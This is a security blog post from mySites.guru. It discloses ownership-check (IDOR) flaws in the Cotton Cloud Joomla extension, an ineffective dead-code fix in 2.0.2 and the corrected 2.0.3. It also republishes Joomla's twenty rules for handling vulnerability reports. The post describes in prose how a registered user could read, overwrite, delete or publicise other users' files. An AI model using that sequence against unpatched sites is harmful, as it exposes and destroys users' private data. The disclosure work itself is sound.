The second is that the data layer only checks ownership in some places. The browse queries filter on owner_id, so the UI looks correctly scoped, but the by-id accessors do not. FileRepository::getForOpen(), ::update() and ::delete() all key on the id alone, as does CottonModel::file_update(). FolderManager::deleteRecursive() has no ownership check either.

When 2.0.2 arrived we diffed it against 2.0.1. FileRepository.php, FolderRepository.php, FolderManager.php and CottonBridge.php were byte-identical. Every file named in that paragraph was untouched. The terminal's command interpreter had changed, but only by commenting out five debug logging calls.

Authentication was added. Authorisation was not.

The practical difference is smaller than it sounds. Cotton Cloud is a file store whose entire purpose is giving site users a private drive, so it is deployed on sites where people can register. Registration is free and instant. The attack went from "anyone on the internet" to "anyone on the internet who clicks Register first".

We confirmed all of the following against the shipping 2.0.2 on a local Joomla 5 lab, logged in as a plain self-registered user with no special permissions, targeting a file owned by the site administrator marked private with no sharing:

Read it. The terminal's cat returned the full database row, file contents and all, along with the owner id proving it belonged to somebody else
Read it a second way. The same content came back through the terminal's MCP interface, which exposed its tools to any logged-in user
Find it. The find command enumerated another user's files and reported their folder paths
Overwrite it. The save endpoint replaced the administrator's file contents
Delete it. The delete endpoint removed an administrator-owned file permanently, not to the trash
Re-permission it. The update endpoint set the file's sharing flag to public
Then read it with no account at all. After the previous step, the file came back to a request carrying no cookies whatsoever

That last pair is the one to sit with. Cotton Cloud has exactly one endpoint with a correct, well-written access check, and it works. But in 2.0.2 a neighbouring endpoint with no check could flip the flag that the good endpoint reads. The correct ACL was unlocked by the broken one, and the file ended up publicly readable by the entire internet.

The fix that never ran

This one changed how we read diffs.

Cotton Cloud 2.0.2 did add an ownership check for file deletion. It is right there in the diff, and it looks exactly like what you would want:

public function file_delete($file_id, $folder_id, $trash) {

    $currentuser = Factory::getApplication()->getIdentity();
    $user_id = (int) $currentuser->get("id");

    $del = $this->file_select($file_id);

    if (!$del->n || (int) $del->file[0]->owner_id !== $user_id) {
        $data->success = false;
        $data->error = Text::_('COM_COTTON_ERROR_NOACCESS');
        return $data;
    }
    // ...

Nothing calls that method. The controller task named file_delete does not call CottonModel::file_delete(). It calls item_delete(), a different method, which deleted by id with no ownership check anywhere in it. The method that got the fix was dead code, with no callers in the entire package. Every delete request the application actually served went down the unguarded path and always had.

It got worse on inspection. The check that was added did not even work: file_select() already filters by owner, so it can only return rows the caller owns, and the guard then asked whether each row is not owned by the caller, a condition that can never be true. If anything had called that method, it would have refused to delete your own files while reporting success.

An ownership check, written in good faith, sitting in code that cannot execute. Reading the diff would never catch it, because the diff looks right. Reading the diff tells you what you wrote. Only the request tells you what runs.

Reproduce the bug before you fix it, then run the exact same request afterwards. A fix you have not exploited is a fix you have not tested. Reading the diff tells you what you wrote. Only the request tells you what runs.

One deletion request run as a second user against 2.0.2, watched succeeding, would have surfaced this in under a minute.

What vibe coding does to a security fix

A word of care first: we are not making a claim about how any particular line of Cotton Cloud was written, and none of this is aimed at its developer, who has been better to deal with than most. But we keep running into this shape, and this extension is a useful lens. Its headline feature is an AI terminal with an MCP server and around forty tool calls wired straight into the site's data layer.

A guard that is correct in isolation and unreachable in context is the signature failure of building fast with an AI assistant. The risk is structural, not one careless afternoon.

Generated code is written to the description, not to the request. Ask any assistant to "add an ownership check to file deletion" and it will find the method whose name says file deletion and put a very good check in it. It has no way of knowing the controller calls a differently named sibling, unless you make it trace the path first. The output is aimed at the wrong target, and aimed with complete confidence.

It reads as finished, which is what defeats review. Human mistakes usually look like mistakes. Generated mistakes look like the thing you asked for, because producing plausible code is precisely what the tool is optimised to do. The 2.0.2 guard is well-formed, correctly indented, and uses the right Joomla APIs and the right language constant. Everything about it says "done" except whether it runs.

Structure arrives faster than the invariants that keep it safe. Cotton Cloud has repositories, managers, services and a bridge. That is a sensible architecture and a lot of scaffolding for one person to produce. Layers are exactly where security invariants go missing, because each layer assumes the one above it checked. Which is what happened: the browse queries filtered by owner, so the interface looked correctly scoped, while the by-id accessors underneath took an integer and returned whatever it pointed at.

The same helper gets written twice, and one copy gets fixed. The 2.0.3 changelog records removing a duplicate SpaceCalculator class that existed in both the library and the service layer. Duplication is cheap to generate and expensive to secure, because patching one copy leaves the other exactly as it was.

Plausible variable flow hides dead logic. The terminal's JWT middleware tries three sources for its signing secret. The third reads the value into $config while the function returns $secret, so the fallback does nothing. It fails closed, which makes it latent rather than live, but nobody wrote that on purpose and nothing in the code admits to being broken.

An agent interface is new attack surface with no conventions yet. MCP has no authentication model of its own; it inherits whatever the host application enforces. Cotton Cloud's MCP server handed its full tool list to anyone who could present a CSRF token, and every tool inherited the weakest check in the data layer beneath it. Each tool is an endpoint. Forty tools is forty endpoints, and they arrive as a single feature you tick on in the component options.

Use the assistants. What has to move is the acceptance test. When code was expensive to produce, reading it carefully was a fair proxy for knowing what it did, and most of our habits as reviewers were built on that assumption. When it is cheap to produce and uniformly plausible, the proxy stops working, and the only thing left that tells you the truth is running the request and watching what comes back. That cuts both ways, and it is why we re-run the whole attack against a new release rather than reading the changelog and taking the vendor's word for it.

What 2.0.3 fixed

2.0.3 is a substantially bigger piece of work than 2.0.2 and it goes after the right thing.

Ownership checks now run through the model layer, on the paths a request actually takes: folder creation and updates, deletes, trash recovery, file uploads, finalisation, cancellation, saves, updates and the editor entry point all resolve the record and compare owner_id against the current user before doing anything with it.

The terminal and MCP surface, which was the widest part of the exposure because CottonBridge was built entirely on the unscoped accessors, gained a dedicated assertion layer:

public function assertFileOwner(int $fileId): ?array
{
    $file = $this->getById($fileId);
    if (!$file || (int) $file->owner_id !== $this->getCurrentUserId()) {
        return [
            'success' => false,
            'message' => Text::_('COM_SHUTTLE_ERROR_NOACCESS'),
            'error'   => Text::_('COM_SHUTTLE_ERROR_NOACCESS'),
        ];
    }

    return null;
}

That is the right shape: one place to get it right, called by the commands rather than reimplemented in each. Against 2.0.3, the reads we demonstrated through cat, find and the MCP interface are refused, and so are the file update and editor paths that gave us the re-permission and read primitives.

He gave the changelog the same treatment, which comes up again below.

We have seen this exact fix before

This is not a story about one developer.

In June 2026 we reported a file-upload remote code execution flaw in PageBuilder CK. The vendor shipped 3.6.0, which added a login check and nothing else. Any user with an Editor account could still run code on the server, and that stayed true through 3.6.2 before it was finally fixed correctly in 3.6.3. Same shape: authentication added, authorisation forgotten, release announced as fixed.

Balbooa Forms did something adjacent. The first unauthenticated upload flaw was fixed in 2.4.1, and then a second one survived both 2.4.1 and 2.4.2 before 2.4.3 closed it.

Several extensions, several vendors, one reflex. When a report says "anyone can do X", the instinct is to stop anyone from getting in. That closes the door the researcher walked through and leaves the room unlocked. It is an easy reflex to have because it makes the reproduction steps in the report stop working, which feels exactly like success.

The tell is always the same: if the fix is a check at the entrance and the report described a problem with the data, the fix is not finished. Missing authentication and missing authorisation are the same OWASP category and they need separate fixes. We see this often enough now that we test for it specifically: after a vendor tells us something is fixed, the first thing we do is log in as the lowest-privilege account the site will give us and run the whole attack again.

The IDOR half is not exotic either. We reported the same class of flaw in EasyStore, where any logged-in customer could read every other customer's invoice by editing one URL, and in Events Booking, where registrant invoices with names, addresses and payment details were downloadable. Numeric ids, no ownership predicate, and an interface that looks correctly scoped because the listing query is.

Why half a fix happens

It is tempting to file this under carelessness. We do not think that is what it was, and the timeline says something more useful.

Date	What happened
1 August 2026	Reported privately to the developer, copying the Joomla Security Strike Team. Both root causes described, with the specific files named
8 August 2026	Resent after seven days of silence, having also tried to make contact publicly and privately on social media
10 August 2026	The Joomla Manual gained a Security page setting out twenty rules for handling exactly this situation
11 August 2026	First reply from the developer, ten days after the report. 2.0.2 had already been published, fixing the authentication half only
11 August 2026	The JSST asked us to confirm the fix. We confirmed it fixed one half
12 August 2026	The developer shipped 2.0.3 with the authorisation half addressed, and asked us to confirm it
12 August 2026	The Joomla CNA published CVE-2026-67283 for the authentication half and CVE-2026-67284 for the authorisation half

The first release is the one to study, because that is where the misunderstanding entered. There was no conversation between the report and 2.0.2. Ten days of silence, then a finished release and a reply announcing it. The developer's own summary of what he had done was that "improving security regarding task execution within the controllers was indeed necessary", which is an accurate description of the half he fixed and a complete description of what he had understood the report to be.

That is not carelessness. That is what happens when nobody talks. A single reply saying "I have read this, I understand there are two issues, here is my plan for each" would have surfaced the misunderstanding on day one, while the fix was still being written. Instead the misunderstanding got shipped, and the person best placed to catch it found out afterwards, from a third party.

The second round went the way it should have. He engaged, shipped a real fix in a day, and asked us to verify before finalising. That is the loop working. It just started one release too late, and the reason it started late is worth more attention than the bug itself.

Where this sits against the twenty rules

The timing here is almost too neat. On 10 August 2026, the day before 2.0.2 was announced to us, David Jardin of the Joomla Security Strike Team added a Security page to the official Joomla Manual setting out twenty rules for how extension developers should handle a vulnerability report. We republished it in full, because it is the first time this guidance has existed in one citable place with the Joomla project's name on it.

The first release ran against several of them. We are listing them because they are useful to any developer who has never had a report arrive in their inbox.

Rule 3, acknowledge the reporter quickly. The Manual's target is one business day for acknowledgement and three to five for an initial assessment. This took ten days and a resend.

Rule 4, validate the vulnerability. Half the report was never validated. This is the causal link: rules 3 and 4 are not manners, they are the steps where you find out what you are actually fixing. Skip them and you ship what you assumed the report said.

Rule 9, coordinate a disclosure date. No date was ever discussed. The release simply appeared, and we learned of it from the JSST thread rather than from the vendor.

Rule 11, assign the CVE before public disclosure. 2.0.2 went public first, and the identifiers followed afterwards.

Rule 17, do not hide security fixes in vague language. At the time 2.0.2 was serving to every site through the update system, the extension's changelog file contained exactly one entry, for version 1.0.1, reading:

Saving text files solved.

There was no entry for 2.0.2. Every site owner who clicked Changelog in Joomla to decide whether the update was urgent saw a note about text file saving from an ancient release, so a security release looked like an optional one.

This is the rule the developer has since fixed properly, and it deserves saying as loudly as the criticism. The changelog file now carries structured entries for every 2.x release, and the 2.0.3 entry says what the release did in plain terms:

Ownership validation layer added to CottonBridge
(assertFolderOwner, assertFileOwner, getCurrentUserId).
File owner assertions added to Shuttle commands (cat, head, and others).

A site owner reading that in Joomla's update view can tell it touches access control. Going back and writing the history you skipped is more work than writing it at the time, and he did it.

If you are an extension developer reading this and only take one thing from it: read the twenty rules. It is the Joomla project's own guidance, written by the person who runs the CNA that will assign your CVE, and following it costs you an email and a changelog line.

What site owners should do

If you run Cotton Cloud, update to 2.0.3 now. Do not stop at 2.0.2.

Then consider what was reachable while a vulnerable version was live. These flaws exposed and altered file contents, so updating closes the hole but does not undo any read, overwrite or delete that already happened. If the extension was serving a site with open registration for any length of time, treat anything stored in it as potentially known. Because the flaw also allowed writing and deleting, check that the files and folders you expect are still there and still say what they should.

Also check for content that should not be there. The component sets the response content type from the file extension, so a file with an HTML extension could have been planted or edited to serve script from your domain, and it would look like an ordinary entry in a user's drive. Anything with an .html, .htm or .svg extension is worth opening.

This is not remote code execution. Cotton Cloud stores files as database blobs rather than on disk, so a stored PHP file is returned as bytes, not executed. Nothing here lets an attacker run code on your server. What it does let them do is read, alter and destroy everything your users have stored, and serve script from your domain.

Finding every affected site at once

One Cotton Cloud install is an afternoon. Forty client sites is a different problem, and the version number is the only thing that tells you which ones matter.

mySites.guru records the installed version of every extension on every connected Joomla site, so a question like "which of my sites are running Cotton Cloud below 2.0.3" is a list you already have rather than an audit you have to run. When a version is flagged as vulnerable, the affected sites surface on their own.

That is the scope of it. We do not patch this for you and we cannot tell you what was read while a vulnerable version was live. What we remove is the part where you log into forty administrator panels to find out which four need attention. If you want the detail on how the version tracking works, we wrote it up in our guide to the vulnerable extension list.

For extension developers

Five things worth taking from this, none of which are specific to Cotton Cloud.

A CSRF token is not a login check. This is the single most common real finding we make in Joomla extensions. Session::checkToken() proves the request came from your site. It says nothing about who sent it, and Joomla issues tokens to guests. If the only gate on a task is a token, that task is anonymous.

Scope by owner in the query, not in the caller. Cotton Cloud's browse queries filtered by owner correctly, which is why the interface always looked right. The by-id lookups did not, and every caller that forgot to add its own check inherited a hole. Put the ownership predicate in the repository method where it cannot be forgotten, and the twenty places that call it are fixed at once.

Patch the path the request takes. Find the method the controller actually calls before you write the guard. In a layered codebase the method with the obvious name is often not the one doing the work. A guard in the wrong method is worse than no guard, because it looks done.

Give agent interfaces their own authorisation model. An MCP server or tool API inside your extension is not one endpoint, it is one endpoint per tool, and it inherits whatever the layer beneath it enforces. Decide who is allowed to call each tool, in the tool, and assume the transport gives you nothing.

Then prove it. Reproduce, patch, re-run the same request. Reading your own diff is how a fix that never executes gets shipped as done.

Twenty Rules for Joomla Extension Developers Handling a Security Report

phil@mysites.guru (Phil Taylor) — Mon, 10 Aug 2026 11:26:24 GMT

The Joomla Manual now answers a question the Joomla ecosystem has never had a written answer to: when somebody emails you to say your extension has a security hole, what are you supposed to do next?

David Jardin, Team Leader of the Joomla Security Strike Team, wrote that answer as a single new file, docs/building-extensions/security.md. He opened it as pull request 695 on 10 August 2026 to help extension developers handle the security issues reported to them, and Harald Leithner merged it thirteen minutes later. It is documentation in the Manual now, not a proposal.

Twenty numbered practices. Publish a reporting channel. Keep the report confidential. Acknowledge the reporter inside a business day. Score it with CVSS 4.0 instead of guessing at "critical". Build the fix in private with a regression test. Get a CVE ID from the Joomla CNA before you go public. Credit the person who found it, in the words they chose. Publish an advisory that names affected and fixed versions. Do not hide the fix behind "various bug fixes and improvements". Do not sue the researcher.

None of that is exotic. It is the same coordinated-disclosure practice that the wider software industry settled on years ago, written down for the first time in a form Joomla extension developers can point at. We have reposted the whole thing below, in full, with credit to the author and the Joomla project, under the licence the Joomla Manual carries.

What this is, and what it is not

This is a standard for handling security reports written by David Jardin, Team Leader of the Joomla Security Strike Team, to help Joomla extension developers handle security issues reported to them. It arrived as pull request 695 on the Joomla Manual on 10 August 2026, was merged the same day, and is now published as Building Extensions: Security in the official Joomla developer documentation. It is not an enforced requirement: nothing checks whether an extension follows it. Our republication of it here is not endorsed by the Joomla project. The full text below is the work of David Jardin and the Joomla! Project, republished with credit under the Joomla! Electronic Documentation License.

Why This Matters to Anyone Running Joomla Sites

We have spent this year on the reporting end of this process. In a single month we found and disclosed nineteen security issues in widely used Joomla extensions, and there have been many more since. That means we have watched the twenty points below get followed and skipped, one vendor at a time, in real cases with real site owners on the other end.

Two of those cases map onto the twenty points so exactly that they read like the worked examples.

Point 17 says do not hide security fixes in vague language. JoomShaper shipped Helix3 3.1.1 with a changelog entry that read, in its entirety, "Security Update". That release closed an unauthenticated file write, an arbitrary file delete, a template-settings overwrite, an authenticated upload route to code execution, a stored XSS, a leaked API key and a ratings-abuse hole. Helix3 sits under a large share of the Joomla sites in the world. Every administrator looking at that line had to decide whether to schedule an update, and the line gave them nothing to decide with.

Points 11 and 12 say get the CVE before disclosure and always offer the reporter credit. We reported three flaws in JoomShaper's EasyStore on 21 July 2026, including one where any logged-in customer could read every other customer's invoice by editing a URL. The vendor acknowledged the next day, confirmed all three, and shipped the fix in 2.0.2 within 24 hours, which is the part of this they got right and deserve credit for. But the release carried no advisory, no coordinated disclosure date, no CVE request and no credit. We took the issues to the Joomla CNA ourselves, which assigned CVE-2026-65759, CVE-2026-65760 and CVE-2026-65761 on 23 July 2026.

In both cases the vulnerability itself was the least interesting part. Every codebase has them, which is where the Manual page opens. What separated a decent outcome from a bad one was the communication after the fix already existed, and that is the part a developer can settle permanently by writing a policy down once.

How Do You Know Which of Your Joomla Sites Are Affected?

A perfect advisory still only helps you if you can answer one question quickly: which of my sites run this extension, and on what version? For an agency with fifty Joomla sites that question currently means fifty administrator logins, and it has to be answered on the day the advisory is published, not the following week.

That is the job mySites.guru does. It keeps a live inventory of every extension on every connected Joomla and WordPress site, with the installed version on each, so a new advisory becomes one search rather than an afternoon. Our vulnerability database flags sites running a version a vendor has patched, including the extension-level issues that Joomla's own update system says nothing about, and the site audit covers the file and database checks that tell you whether an exposed site was reached before you got to it. If you are looking after more than a handful of sites, the multi-site Joomla tooling is the part of the subscription that turns an advisory into a work list.

Tooling tells you which sites to look at, but it cannot tell you a release was a security release when the vendor never said so. That half of the problem is the one only extension developers can solve, which is why the page below matters more than anything we could build.

What Does the New Manual Page Ask Developers to Do?

Read end to end, the twenty points fall into four groups.

Points 1 and 2 are the only two you can finish today, with no incident in progress. Publish a security contact and a policy that says how reports are received, how fast you respond, how disclosure is coordinated and whether you credit reporters. Put a SECURITY.md in the repository, and say explicitly that reports should not go in the public issue tracker.

Once a report is live, points 3 to 8 take over. Acknowledge within one business day, assess within three to five, validate what is actually affected, score it with CVSS 4.0 rather than arbitrary labels, build the fix in a private branch with a regression test that fails before and passes after, and check whether the flaw reaches beyond your own code into a bundled library or another vendor's product.

Going public is points 9 to 15, and it is where Joomla extension vendors most often come unstuck. Agree a disclosure date rather than an indefinite embargo, request the CVE ID from security@joomla.org before you publish so the first advisory carries it, ask the reporter how they want to be credited and confirm the wording, publish a structured advisory with affected versions, fixed versions, severity, impact and timeline, and explain the flaw well enough for an administrator to assess their risk without handing out a working exploit.

The last five deal with the aftermath. Push the notice through channels people actually watch, keep the changelog honest, preserve an internal timeline, handle already-public reports without treating the researcher as hostile, and state in writing that good-faith research will not be met with legal threats.

The whole text follows.

The New Manual Page, Republished in Full

Source, author and licence

Everything from here to the end of point 20 is the work of David Jardin, Team Leader of the Joomla Security Strike Team, and the Joomla! Project, taken from docs/building-extensions/security.md as merged into the Joomla Manual by pull request 695 on 10 August 2026. It is republished here under the Joomla! Electronic Documentation License, which is the licence the Joomla Manual carries. No words have been changed. Documentation frontmatter and section rules were dropped, heading levels were mapped onto this page, four of the author's pull-quotes were restyled as callout boxes, and one relative link was rewritten to its live address on manual.joomla.org. Full attribution, licence notice and source-form links are in the footer below.

Secure Coding Guidelines

For general information about security development of Joomla extensions, see the generic Security section.

Policies and Best Practices

It's barely a question if your extension will ever have a security vulnerability, it's just a matter of when. So, establishing security best practices, policies and workflows is a vital part of developing Joomla extensions.

1. Establish a clear security reporting channel

Every publicly available Joomla extension should provide an obvious way to report security vulnerabilities.

Recommended:

A dedicated security contact such as security@example.com
A SECURITY.md file in the source repository
A security page on the vendor website
Clear instructions on what information should be included
An explicit statement that security reports should not be submitted through public issue trackers

The reporting channel should ideally support encrypted communication for sensitive reports.

A security policy should state:

How reports are received
Expected response times
How vulnerabilities are handled
How disclosure is coordinated
Whether reporters are credited
Whether CVE IDs are assigned

This follows the general principles of ISO/IEC 29147, which covers receiving vulnerability reports and communicating remediation information.

2. Treat security reports confidentially

A vulnerability report should initially be treated as confidential.

Do not:

Create a public GitHub issue
Publish the proof of concept
Discuss the vulnerability publicly
Include exploit details in public commit messages or changelogs

until a coordinated disclosure date has been agreed upon.

Internally, the report should receive a unique tracking ID and have a clearly defined owner.

A useful lifecycle is:

Reported
   ↓
Acknowledged
   ↓
Validated
   ↓
Severity assessed
   ↓
Fix developed
   ↓
Fix verified
   ↓
CVE assigned
   ↓
Coordinated disclosure
   ↓
Public advisory
   ↓
Post-disclosure monitoring

3. Acknowledge the reporter quickly

A reporter should receive an acknowledgement even if the vulnerability has not yet been validated.

Recommended targets:

Within 1 business day: acknowledge receipt
Within 3–5 business days: provide an initial assessment
During longer investigations: provide regular status updates

The acknowledgement should explain:

That the report was received
Who is handling it
Whether additional information is required
What the next steps are

4. Validate the vulnerability

The maintainer should establish:

Affected extension/component
Affected versions
Supported Joomla versions
Attack prerequisites
Required user privileges
Whether authentication is required
Whether user interaction is required
Actual security impact
Exploitability
Whether the issue has already been publicly disclosed
Whether another vendor or dependency is affected

The reporter should be given the opportunity to provide additional technical information or a proof of concept.

5. Distinguish security bugs from ordinary bugs

Not every bug is a security vulnerability.

Examples of typical security vulnerabilities include:

SQL Injection
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Authentication bypass
Authorization/access-control bypass
Privilege escalation
Arbitrary file upload
Arbitrary file deletion
Path traversal
Remote or local code execution
Sensitive information disclosure
Insecure deserialization
Server-Side Request Forgery (SSRF)

A vulnerability should be assessed based on its security impact, not merely on how severe the underlying coding mistake appears.

6. Assess severity consistently

Use a standardized scoring system rather than arbitrary labels such as "critical" or "minor".

CVSS 4.0 is the recommended standard for communicating vulnerability severity.

At minimum, record:

CVSS:4.0/...
Base Score: 8.3
Severity: High

Also document the practical prerequisites, for example:

Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Affected functionality: Administrator
Exploitability: Requires authenticated Joomla user

Do not treat the CVSS Base Score as the complete risk assessment. Consider the actual deployment environment and current threat situation as well.

7. Develop the fix privately

The fix should be developed without exposing the vulnerability.

Recommended practices:

Private branch
Private repository where necessary
Security-specific test cases
Regression tests
Review by at least one additional developer
Testing against all supported Joomla versions

The security fix should ideally include a regression test that:

Fails against the vulnerable implementation
Passes against the fixed implementation

8. Consider downstream dependencies

A Joomla extension may itself contain or depend on other software.

Before disclosure, check whether the vulnerability also affects:

Joomla itself
Another Joomla extension
A third-party PHP library
JavaScript dependencies
An API or external service
Another vendor's product
Bundled or copied code

If multiple parties are affected, use Coordinated Vulnerability Disclosure (CVD) rather than disclosing independently.

9. Coordinate a disclosure date

The goal should not be to keep a vulnerability secret indefinitely.

Instead, agree on a reasonable disclosure timeline.

A practical model:

Day 0       Report received
Day 1       Acknowledgement
Day 3–5     Initial assessment
             ↓
             Fix development
             ↓
             CVE coordination
             ↓
             Fixed version released
             ↓
             Public advisory

The exact timeline should depend on severity and exploitability.

For a vulnerability that is already being exploited in the wild, the process should be accelerated substantially.

For vulnerabilities affecting several vendors, the disclosure date should be coordinated between all relevant parties.

10. CVE IDs

A CVE ID identifies a vulnerability, not a software release or a particular patch.

For example:

CVE-2026-12345

is associated with the vulnerability itself.

Do not create a separate CVE merely because different releases address the same vulnerability.

Separate vulnerabilities should normally receive separate CVE IDs.

Joomla extensions

Joomla extension developers can request a CVE ID from the Joomla security team by contacting:

security@joomla.org

The CVE assignment should be coordinated with Joomla's CVE Numbering Authority (CNA) rather than inventing or requesting an arbitrary CVE number.

11. Assign the CVE before public disclosure

Ideally, the first public security advisory should already contain the CVE ID.

Extension developers can request the CVE ID from:

security@joomla.org

before public disclosure so that it can be included in the initial announcement.

The CVE ID should be associated with the vulnerability and consistently referenced across:

Security advisory
Changelog
Release notes
CVE record
Joomla security communication
Other relevant security databases

Follow the current CVE Program and CNA publication requirements and coordinate embargoes where applicable.

12. Credit the security researcher

Always offer appropriate credit to the reporter.

For example:

This vulnerability was responsibly reported by
Jane Doe (@janedoe).

We thank Jane for responsibly reporting this issue
and helping us improve the security of this extension.

However:

Never publish a reporter's name, handle, company or other identifying information without their consent.

Ask the reporter exactly how they want to be credited.

Possible choices include:

Name:
Jane Doe

Handle:
@janedoe

Organization:
Security Research Lab

Anonymous:
Yes

Confirm that the proposed credit is acceptable before publication.

13. Publish a security advisory

Do not rely exclusively on a generic changelog such as:

1.4.2
- Various bug fixes and improvements

Publish a dedicated security advisory.

A proper advisory should contain:

Security Advisory

Product
Example Joomla Extension

Vulnerability
Stored Cross-Site Scripting

CVE
CVE-2026-12345

Affected Versions
1.0.0 – 1.4.1

Fixed Versions
1.4.2 and later

Severity
High

CVSS
CVSS:4.0/...

Impact
An authenticated user with ... can ...

Description
...

Solution
Update to version 1.4.2 or later.

Credits
Reported by Jane Doe.

Timeline
2026-07-01  Report received
2026-07-02  Vulnerability confirmed
2026-07-15  Fix released
2026-07-15  Advisory published

Joomla's own security advisories provide a useful model: they identify affected versions, impact, severity, exploit type, report/fix dates, CVE number, description, solution and reporter.

14. Tell users what they need to do

The most important information for users is:

Am I affected, and what should I do?

Every advisory should clearly state:

Affected versions

Versions 2.0.0 through 2.4.7 are affected.

Fixed versions

Upgrade to 2.4.8 or later.

Recommended action

All users running an affected version should update immediately.

If updating is not possible, provide a mitigation where one genuinely exists.

For example:

Until the extension can be updated, disable the affected
administrator endpoint.

Do not recommend a mitigation that has not been tested.

15. Explain the vulnerability without unnecessarily publishing an exploit

A security advisory should provide enough information for administrators to understand the risk.

It should answer:

What is the vulnerability?
Who can exploit it?
Is authentication required?
What can an attacker accomplish?
Which versions are affected?
Is exploitation known?
How can users fix it?

A vendor does not necessarily need to publish a working exploit/PoC immediately.

Especially for high-impact vulnerabilities, avoid publishing exploit details that materially increase the risk to users who have not yet updated.

The principle should be:

Transparency sufficient for risk assessment, without unnecessarily increasing exploitability.

16. Notify users through appropriate channels

Security fixes should be communicated through channels users actually monitor.

Depending on the extension:

Extension update mechanism
Joomla Extension Directory
Vendor website
Security advisory page
Mailing list
RSS feed
GitHub Security Advisory
Newsletter
Social media, where appropriate

The Joomla Security Centre provides a public security announcement feed that users can subscribe to.

For particularly severe vulnerabilities, do not rely exclusively on a changelog.

17. Do not hide security fixes in vague language

Avoid:

Various bug fixes and improvements

when a security vulnerability was fixed.

Prefer:

Security: Fixed an authenticated SQL injection vulnerability
in the administrator filtering functionality.

CVE-2026-12345

Security transparency helps users make informed decisions about updates.

18. Preserve the disclosure timeline

Maintain an internal timeline for every security issue:

2026-07-01  Vulnerability reported
2026-07-01  Report acknowledged
2026-07-03  Vulnerability confirmed
2026-07-04  CVE requested
2026-07-08  Fix completed
2026-07-10  Fix provided to reporter for verification
2026-07-12  Fixed release published
2026-07-12  CVE published
2026-07-12  Security advisory published

This is useful for:

Internal audits
Communication with researchers
CVE records
Incident response
Process improvements

19. Handle reports that are already public

Sometimes a researcher publishes a vulnerability before contacting the vendor.

Do not automatically treat this as malicious.

Instead:

Acknowledge the report
Assess the vulnerability
Determine whether a CVE already exists
Coordinate with the reporter where possible
Release a fix as quickly as practical
Publish an advisory

The CVE process also provides mechanisms for vulnerabilities that have already been publicly disclosed.

20. Do not retaliate against good-faith researchers

A responsible disclosure process should explicitly state that good-faith security research is welcome.

A useful policy statement is:

We welcome good-faith security research and responsible vulnerability disclosure. Researchers who follow this policy will not be subject to legal action by us solely for activities conducted in accordance with this policy.

However, define reasonable boundaries around:

Accessing other users' data
Destructive testing
Denial-of-service testing
Social engineering
Automated scanning of third-party infrastructure
Persistence
Data exfiltration

Credit, Licence and the Pull Request

End of the republished work

The twenty numbered practices above are the work of David Jardin and the Joomla! Project, not of mySites.guru.

Author. David Jardin, Team Leader of the Joomla Security Strike Team, the group that receives security reports for the project and operates Joomla's CVE Numbering Authority. He contributes to the Joomla repositories as SniperSister, and has led the JSST since 2021.

Source. joomla/Manual pull request 695, opened and merged on 10 August 2026, adding docs/building-extensions/security.md. The source form of the work, in the plain Markdown it was written in, is available free of charge over the internet: read the raw file on the Manual's main branch, read the exact revision republished here at merge commit a091273, or browse the diff. The merged text is identical to what is reproduced above. It is now published on the documentation site as Building Extensions: Security, currently under the next documentation version. This page is itself available in Markdown source form by requesting it with an Accept: text/markdown header.

Licence. The Joomla Manual is published under the Joomla! Electronic Documentation License (full text in the repository). That licence applies to the republished work above. As its conditional permissions require, mySites.guru grants a Grantback License to the author and a Copyleft License to everyone who receives this page, so the Joomla project may take this material back into its authoritative documentation and anyone downstream may propagate it on the same terms. The JEDL covers electronic media only, so reproducing it in print needs separate permission from the Joomla project.

Status. Pull request 695 was merged into the Joomla Manual's main branch on 10 August 2026 at 11:05 UTC, thirteen minutes after David opened it, by Harald Leithner. The text above is therefore official Joomla developer documentation. It is not an enforced requirement: nothing checks whether an extension follows it, and no Joomla Extensions Directory rule is attached to it. Separately, the JEDL grants no right to represent republished material as official or endorsed, so to be clear, the upstream Manual page is official Joomla documentation and this republication of it is not endorsed by the Joomla project.

If you maintain a Joomla extension, the merge is not the end of the conversation. Points 3 and 9, the response-time targets and the disclosure timeline, are the ones most likely to need a reality check from people shipping extensions with small teams, and a one-day acknowledgement target reads differently when the maintainer is one person with a day job. That feedback now belongs in a fresh issue or pull request on the joomla/Manual repository rather than a review comment on a closed pull request.

Our own view, from the reporting side: point 1 is the one to act on this week. A SECURITY.md and a published contact address costs an afternoon, works before you ever have an incident, and is the difference between a researcher reaching you privately and a researcher giving up and publishing.

The Fabrik Fiasco: Announced, Restricted, Relabelled

phil@mysites.guru (Phil Taylor) — Mon, 10 Aug 2026 00:00:00 GMT

Fabrik is an application builder for Joomla. You use it to construct forms, database-backed lists and small applications inside a Joomla site, and it has been on the Joomla Extensions Directory since 2014 with the project itself dating back to 2006. On 9 August 2026 its developers released Fabrik 4.6.7 and labelled it a security release. The following morning the Joomla CNA published CVE-2026-66915, an unauthenticated remote code execution flaw in the extension's calc element, scored CVSS 4.0 10.0 Critical.

Later that same day, Fabrik released 4.6.8 with a second security fix, this one in the extension's list filters. Then the story moved twice more. On 12 August the Joomla CNA revised CVE-2026-66915 to say that 4.6.7 had not actually closed it, widening the affected range to include 4.6.8. The same day, the list filter flaw got a CVE of its own. On 13 August Fabrik announced 4.7.0, a hardening release aimed at the whole class of problem.

Announced is the word to hold on to, because 4.7.0 has never had an ordinary release. Fabrik published it on 13 August with its maturity given as Stable, put it on the changelog history page and posted release notes to its forum, while the package itself stayed restricted to what the vendor calls a small group of users. It was left out of the Joomla update feed, so no site's updater could see it. On 16 August it went into the feed, tagged as a release candidate that Joomla hides at default settings, and the release page was rewritten to read Release Candidate on the same build and the same release date. Fabrik 4.6.7 has been withdrawn from the download page in the meantime.

If you run Fabrik on any Joomla site, 4.7.0 is still the version to be on, because nothing else sits above both CVE ceilings. That includes the sites you updated to 4.6.8 last week on the advice everybody was giving, this post included. Two things make this more than an afternoon's update run: which of your sites can install it at all, and whether you can get hold of it in the first place. On the one question that matters most, though, there is good news: we obtained the package and read the source, and the security fix itself is sound.

Update Fabrik to 4.7.0, and update again if you stopped at 4.6.8

